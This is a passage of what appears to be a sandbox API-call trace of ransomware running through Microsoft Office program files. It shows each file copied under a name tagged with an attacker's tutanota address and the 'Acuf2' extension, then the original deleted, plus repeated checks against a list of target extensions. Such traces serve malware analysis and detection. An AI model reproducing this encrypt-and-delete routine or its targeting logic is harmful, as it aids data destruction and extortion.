	[0268.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0268.123] GetLastError () returned 0x0
	[0268.123] ReadFile (in: hFile=0x274, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x71, lpOverlapped=0x0) returned 1
	[0268.124] WriteFile (in: hFile=0x368, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0268.125] ReadFile (in: hFile=0x274, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.125] WriteFile (in: hFile=0x368, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xfe, lpOverlapped=0x0) returned 1
	[0268.125] SetEndOfFile (hFile=0x368) returned 1
	[0268.125] CloseHandle (hObject=0x368) returned 1
	[0268.127] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.127] SetEndOfFile (hFile=0x274) returned 1
	[0268.130] CloseHandle (hObject=0x274) returned 1
	[0268.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk")) returned 1
	[0268.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69
	[0268.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69
	[0268.131] lstrlenW (lpString=".doc") returned 4
	[0268.131] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0268.131] lstrlenW (lpString=".docx") returned 5
	[0268.131] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0268.131] lstrlenW (lpString=".pdf") returned 4
	[0268.131] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0268.131] lstrlenW (lpString=".xls") returned 4
	[0268.131] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0268.131] lstrlenW (lpString=".xlsx") returned 5
	[0268.131] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0268.131] lstrlenW (lpString=".ppt") returned 4
	[0268.131] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0268.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69
	[0268.132] lstrlenW (lpString=".zip") returned 4
	[0268.132] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0268.132] lstrlenW (lpString=".rar") returned 4
	[0268.132] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0268.132] lstrlenW (lpString=".bz2") returned 4
	[0268.132] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0268.132] lstrlenW (lpString=".7z") returned 3
	[0268.132] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0268.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69
	[0268.132] lstrlenW (lpString=".dbf") returned 4
	[0268.132] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0268.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69
	[0268.132] lstrlenW (lpString=".1cd") returned 4
	[0268.132] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0268.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69
	[0268.132] lstrlenW (lpString=".jpg") returned 4
	[0268.132] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0268.168] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=631) returned 1
	[0268.168] CloseHandle (hObject=0x35c) returned 1
	[0268.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc")) returned 0x20
	[0268.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0268.168] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.168] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0269.315] GetLastError () returned 0x0
	[0269.316] ReadFile (in: hFile=0x35c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x277, lpOverlapped=0x0) returned 1
	[0269.317] WriteFile (in: hFile=0x360, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x280, lpOverlapped=0x0) returned 1
	[0269.318] ReadFile (in: hFile=0x35c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.318] WriteFile (in: hFile=0x360, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0269.318] SetEndOfFile (hFile=0x360) returned 1
	[0269.318] CloseHandle (hObject=0x360) returned 1
	[0269.318] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.318] SetEndOfFile (hFile=0x35c) returned 1
	[0269.321] CloseHandle (hObject=0x35c) returned 1
	[0269.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc")) returned 1
	[0269.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63
	[0269.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63
	[0269.349] lstrlenW (lpString=".doc") returned 4
	[0269.349] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0269.349] lstrlenW (lpString=".docx") returned 5
	[0269.349] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0269.349] lstrlenW (lpString=".pdf") returned 4
	[0269.349] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0269.349] lstrlenW (lpString=".xls") returned 4
	[0269.349] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0269.349] lstrlenW (lpString=".xlsx") returned 5
	[0269.349] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0269.349] lstrlenW (lpString=".ppt") returned 4
	[0269.349] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0269.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63
	[0269.349] lstrlenW (lpString=".zip") returned 4
	[0269.349] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0269.350] lstrlenW (lpString=".rar") returned 4
	[0269.350] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0269.350] lstrlenW (lpString=".bz2") returned 4
	[0269.350] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0269.350] lstrlenW (lpString=".7z") returned 3
	[0269.350] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0269.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63
	[0269.350] lstrlenW (lpString=".dbf") returned 4
	[0269.350] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0269.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63
	[0269.350] lstrlenW (lpString=".1cd") returned 4
	[0269.350] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0269.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63
	[0269.350] lstrlenW (lpString=".jpg") returned 4
	[0269.350] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0269.479] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=114) returned 1
	[0269.479] CloseHandle (hObject=0x36c) returned 1
	[0269.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk")) returned 0x20
	[0269.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0269.479] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.479] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0269.480] GetLastError () returned 0x0
	[0269.480] ReadFile (in: hFile=0x36c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x72, lpOverlapped=0x0) returned 1
	[0269.618] WriteFile (in: hFile=0x394, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0269.619] ReadFile (in: hFile=0x36c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.619] WriteFile (in: hFile=0x394, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0269.619] SetEndOfFile (hFile=0x394) returned 1
	[0269.619] CloseHandle (hObject=0x394) returned 1
	[0269.619] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.619] SetEndOfFile (hFile=0x36c) returned 1
	[0269.621] CloseHandle (hObject=0x36c) returned 1
	[0269.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_f_col.hxk")) returned 1
	[0269.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65
	[0269.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65
	[0269.756] lstrlenW (lpString=".doc") returned 4
	[0269.756] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0269.756] lstrlenW (lpString=".docx") returned 5
	[0269.756] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0269.756] lstrlenW (lpString=".pdf") returned 4
	[0269.756] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0269.756] lstrlenW (lpString=".xls") returned 4
	[0269.756] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0269.756] lstrlenW (lpString=".xlsx") returned 5
	[0269.757] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0269.757] lstrlenW (lpString=".ppt") returned 4
	[0269.757] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0269.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65
	[0269.757] lstrlenW (lpString=".zip") returned 4
	[0269.757] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0269.757] lstrlenW (lpString=".rar") returned 4
	[0269.757] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0269.757] lstrlenW (lpString=".bz2") returned 4
	[0269.757] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0269.757] lstrlenW (lpString=".7z") returned 3
	[0269.757] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0269.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65
	[0269.757] lstrlenW (lpString=".dbf") returned 4
	[0269.757] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0269.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65
	[0269.757] lstrlenW (lpString=".1cd") returned 4
	[0269.757] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0269.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_F_COL.HXK") returned 65
	[0269.757] lstrlenW (lpString=".jpg") returned 4
	[0269.757] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0269.758] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=901464) returned 1
	[0269.758] CloseHandle (hObject=0x388) returned 1
	[0269.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll")) returned 0x20
	[0269.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0269.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58
	[0269.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58
	[0269.758] lstrlenW (lpString=".doc") returned 4
	[0269.758] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0269.758] lstrlenW (lpString=".docx") returned 5
	[0269.759] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0269.759] lstrlenW (lpString=".pdf") returned 4
	[0269.759] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0269.759] lstrlenW (lpString=".xls") returned 4
	[0269.759] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0269.759] lstrlenW (lpString=".xlsx") returned 5
	[0269.759] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0269.759] lstrlenW (lpString=".ppt") returned 4
	[0269.759] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0269.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58
	[0269.759] lstrlenW (lpString=".zip") returned 4
	[0269.759] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0269.759] lstrlenW (lpString=".rar") returned 4
	[0269.759] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0269.759] lstrlenW (lpString=".bz2") returned 4
	[0269.759] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0269.759] lstrlenW (lpString=".7z") returned 3
	[0269.759] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0269.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58
	[0269.759] lstrlenW (lpString=".dbf") returned 4
	[0269.759] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0269.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58
	[0269.759] lstrlenW (lpString=".1cd") returned 4
	[0269.759] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0269.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58
	[0269.759] lstrlenW (lpString=".jpg") returned 4
	[0269.759] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0269.760] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.760] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0269.761] GetLastError () returned 0x0
	[0269.761] ReadFile (in: hFile=0x388, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x1a780, lpOverlapped=0x0) returned 1
	[0269.801] WriteFile (in: hFile=0x378, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x1a790, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x1a790, lpOverlapped=0x0) returned 1
	[0269.803] ReadFile (in: hFile=0x388, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.803] WriteFile (in: hFile=0x378, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf8, lpOverlapped=0x0) returned 1
	[0269.803] SetEndOfFile (hFile=0x378) returned 1
	[0269.803] CloseHandle (hObject=0x378) returned 1
	[0269.803] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.803] SetEndOfFile (hFile=0x388) returned 1
	[0269.809] CloseHandle (hObject=0x388) returned 1
	[0269.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.809] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll")) returned 1
	[0269.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66
	[0269.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66
	[0269.809] lstrlenW (lpString=".doc") returned 4
	[0269.809] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0269.809] lstrlenW (lpString=".docx") returned 5
	[0269.809] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0269.809] lstrlenW (lpString=".pdf") returned 4
	[0269.809] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0269.809] lstrlenW (lpString=".xls") returned 4
	[0269.809] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0269.809] lstrlenW (lpString=".xlsx") returned 5
	[0269.809] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0269.809] lstrlenW (lpString=".ppt") returned 4
	[0269.810] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0269.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66
	[0269.810] lstrlenW (lpString=".zip") returned 4
	[0269.810] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0269.810] lstrlenW (lpString=".rar") returned 4
	[0269.810] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0269.810] lstrlenW (lpString=".bz2") returned 4
	[0269.810] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0269.810] lstrlenW (lpString=".7z") returned 3
	[0269.810] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0269.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66
	[0269.810] lstrlenW (lpString=".dbf") returned 4
	[0269.810] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0269.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66
	[0269.810] lstrlenW (lpString=".1cd") returned 4
	[0269.810] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0269.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66
	[0269.810] lstrlenW (lpString=".jpg") returned 4
	[0269.810] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0270.428] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=52624) returned 1
	[0270.428] CloseHandle (hObject=0x37c) returned 1
	[0270.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl")) returned 0x20
	[0270.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0271.756] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.756] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0271.756] GetLastError () returned 0x0
